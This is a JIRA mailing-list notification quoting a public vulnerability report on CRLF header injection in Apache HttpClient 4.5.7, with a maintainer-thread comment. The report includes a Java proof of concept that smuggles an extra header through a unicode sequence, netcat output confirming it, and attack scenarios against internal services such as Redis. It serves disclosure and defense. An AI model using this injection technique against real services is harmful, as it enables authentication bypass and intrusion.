[
https://issues.apache.org/jira/browse/HTTPCLIENT-1974?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16797414#comment-16797414
]
Ryan Schmitt commented on HTTPCLIENT-1974:
------------------------------------------
[~olegk] I think that the whole point is that this is an _injection_ attack:
you don't need to control the {{HttpClient}}, just one of the values that ends
up being used as an HTTP header value. If you can control any such value, you
don't _need_ control of the client in order to inject headers. Similarly, the
idea behind SQL injection is not that someone with direct access to the
database can craft arbitrary SQL queries; rather, the idea is that someone who
can control query inputs can rewrite a fixed SQL query from the inside.
> CRLF injection vulnerability in setting/adding HTTP headers
> -----------------------------------------------------------
>
> Key: HTTPCLIENT-1974
> URL: https://issues.apache.org/jira/browse/HTTPCLIENT-1974
> Project: HttpComponents HttpClient
> Issue Type: Bug
> Components: HttpClient (classic)
> Affects Versions: 4.5.7
> Reporter: Filip Ochnik
> Priority: Major
>
> Hello,
>
> Note: This vulnerability has already been reported using a private channel.
> Unfortunately, it was deemed as non-issue by maintainers. I'm posting it here
> for public visibility.
>
> *Summary*
> HttpClient in versions 4.5.7 and below is vulnerable to CRLF injection when
> adding or setting headers on an HTTP request. Attacker who can control the
> value of any header in a request created using HttpClient could exploit this
> vulnerability to add arbitrary headers and attack internal services, like a
> webserver, Redis, memcached, etc.
>
> *Details*
> The current version of HttpClient does not properly filter unicode values,
> resulting in the sequence '{color:#000000}\u560d\u560a{color}' being
> converted to `\r\n` and causing unintended behavior. When the value (or part
> of the value) of any header set when constructing an HTTP request using
> HttpClient is controlled by an attacker, it allows them to insert arbitrary
> content to the new line of the HTTP header.
>
> *Proof of concept*
> Consider this piece of code, where variable "attackerControlledValue"
> simulates an attacker-controlled input.
>
> {code:java}
> import org.apache.http.client.methods.HttpGet;
> import org.apache.http.impl.client.CloseableHttpClient;
> import org.apache.http.impl.client.HttpClients;
> public class Main {
> public final static void main(String[] args) throws Exception {
> CloseableHttpClient httpclient = HttpClients.createDefault();
> String attackerControlledValue = "1\u560d\u560aX-But-Not-This-One: oh
> no!";
> try {
> HttpGet httpget = new HttpGet("http://127.0.0.1:8080/";);
> httpget.addHeader("X-I-Expect-This-Header",
> attackerControlledValue);
> httpclient.execute(httpget);
> } finally {
> httpclient.close();
> }
> }
> }{code}
>
>
> We set up a netcat listener on port 8080 and run this code:
>
> {code:java}
> $ nc -l 8080
> GET / HTTP/1.1
> X-I-Expect-This-Header: 1
> X-But-Not-This-One: oh no!
> Host: 127.0.0.1:8080
> Connection: Keep-Alive
> User-Agent: Apache-HttpClient/4.5.7 (Java/1.8.0_172)
> Accept-Encoding: gzip,deflate
> {code}
>
> We can see in the netcat output that the header
> "{color:#000000}X-But-Not-This-One{color}" is present in the request, which
> means the injection succeeded.
>
> *Attack scenarios*
> * By adding arbitrary HTTP headers it's possible to bypass authentication of
> some simple web services
> * Several simple services that communicate over HTTP (Redis, memcached) can
> be exploited by injecting valid commands
>
> *Related vulnerabilities*
> Here are some related CRLF injection vulnerabilities in other software:
> * CVE-2016-5699 in Python’s stdlib
> [https://nvd.nist.gov/vuln/detail/CVE-2016-5699]
> * CVE-2017-6508 in wget [https://nvd.nist.gov/vuln/detail/CVE-2017-6508]
> * CVE-2016-4993 in Undertow web server
> [https://nvd.nist.gov/vuln/detail/CVE-2016-4993]
> * CVE-2019-9740 in Python's stdlib again
> [https://nvd.nist.gov/vuln/detail/CVE-2019-9740]
--
This message was sent by Atlassian JIRA
(v7.6.3#76005)
---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscr...@hc.apache.org
For additional commands, e-mail: dev-h...@hc.apache.org
